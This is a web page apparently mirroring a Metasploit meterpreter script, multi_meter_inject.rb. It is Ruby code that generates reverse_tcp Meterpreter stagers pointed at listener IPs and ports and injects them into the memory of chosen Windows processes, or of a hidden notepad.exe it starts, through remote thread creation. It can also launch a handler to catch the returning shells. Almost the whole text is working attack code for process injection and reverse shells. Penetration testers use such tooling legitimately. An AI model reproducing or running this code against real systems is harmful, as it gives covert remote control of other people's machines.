Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/scripts/meterpreter/multi_meter_inject.rb
Views: 11768
##1# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.2# If you'd like to improve this script, please try to port it as a post3# module instead. Thank you.4##567# Author: Carlos Perez at carlos_perez[at]darkoperator.com8#-------------------------------------------------------------------------------9################## Variable Declarations ##################1011@client = client12lhost = Rex::Socket.source_address("1.2.3.4")13lport = 444414lhost = "127.0.0.1"15pid = nil16multi_ip = nil17multi_pid = []18payload_type = "windows/meterpreter/reverse_tcp"19start_handler = nil20@exec_opts = Rex::Parser::Arguments.new(21"-h" => [ false, "Help menu." ],22"-p" => [ true, "The port on the remote host where Metasploit is listening (default: 4444)."],23"-m" => [ false, "Start exploit/multi/handler for return connection."],24"-P" => [ true, "Specify reverse connection Meterpreter payload. Default: windows/meterpreter/reverse_tcp"],25"-I" => [ true, "Provide multiple IP addresses for connections separated by comma."],26"-d" => [ true, "Provide multiple PID for connections separated by comma one per IP."]27)28meter_type = client.platform2930################## Function Declarations ##################3132# Usage Message Function33#-------------------------------------------------------------------------------34def usage35print_line "Meterpreter script for injecting a reverse tcp Meterpreter payload"36print_line "in to memory of multiple PIDs. If none is provided, a notepad process"37print_line "will be created and a Meterpreter payload will be injected in to each."38print_line(@exec_opts.usage)39raise Rex::Script::Completed40end4142# Wrong Meterpreter Version Message Function43#-------------------------------------------------------------------------------44def wrong_meter_version(meter = meter_type)45print_error("#{meter} version of Meterpreter is not supported with this script!")46raise Rex::Script::Completed47end4849# Function for injecting payload in to a given PID50#-------------------------------------------------------------------------------51def inject(target_pid, payload_to_inject)52print_status("Injecting meterpreter into process ID #{target_pid}")53begin54host_process = @client.sys.process.open(target_pid.to_i, PROCESS_ALL_ACCESS)55raw = payload_to_inject.generate56mem = host_process.memory.allocate(raw.length + (raw.length % 1024))5758print_status("Allocated memory at address #{"0x%.8x" % mem}, for #{raw.length} byte stager")59print_status("Writing the stager into memory...")60host_process.memory.write(mem, raw)61host_process.thread.create(mem, 0)62print_good("Successfully injected Meterpreter in to process: #{target_pid}")63rescue::Exception => e64print_error("Failed to Inject payload to #{target_pid}!")65print_error(e)66end67end6869# Function for creation of connection handler70#-------------------------------------------------------------------------------71def create_multi_handler(payload_to_inject)72mul = @client.framework.exploits.create("multi/handler")73mul.share_datastore(payload_to_inject.datastore)74mul.datastore['WORKSPACE'] = @client.workspace75mul.datastore['PAYLOAD'] = payload_to_inject76mul.datastore['EXITFUNC'] = 'process'77mul.datastore['ExitOnSession'] = true78print_status("Running payload handler")79mul.exploit_simple(80'Payload' => mul.datastore['PAYLOAD'],81'RunAsJob' => true82)8384end8586# Function for creating the payload87#-------------------------------------------------------------------------------88def create_payload(payload_type,lhost,lport)89print_status("Creating a reverse meterpreter stager: LHOST=#{lhost} LPORT=#{lport}")90payload = payload_type91pay = client.framework.payloads.create(payload)92pay.datastore['LHOST'] = lhost93pay.datastore['LPORT'] = lport94return pay95end9697# Function starting notepad.exe process98#-------------------------------------------------------------------------------99def start_proc()100print_good("Starting Notepad.exe to house Meterpreter session.")101proc = client.sys.process.execute('notepad.exe', nil, {'Hidden' => true })102print_good("Process created with pid #{proc.pid}")103return proc.pid104end105################## Main ##################106@exec_opts.parse(args) { |opt, idx, val|107case opt108when "-h"109usage110when "-p"111lport = val.to_i112when "-m"113start_handler = true114when "-P"115payload_type = val116when "-I"117multi_ip = val.split(",")118when "-d"119multi_pid = val.split(",")120end121}122123# Check for version of Meterpreter124wrong_meter_version(meter_type) if meter_type != 'windows'125# Create a exploit/multi/handler if desired126create_multi_handler(payload_type) if start_handler127128# Check to make sure a PID or program name where provided129130if multi_ip131if multi_pid132if multi_ip.length == multi_pid.length133pid_index = 0134multi_ip.each do |i|135payload = create_payload(payload_type,i,lport)136inject(multi_pid[pid_index],payload)137select(nil, nil, nil, 5)138pid_index = pid_index + 1139end140else141multi_ip.each do |i|142payload = create_payload(payload_type,i,lport)143inject(start_proc,payload)144select(nil, nil, nil, 2)145end146end147end148else149print_error("You must provide at least one IP!")150end151152153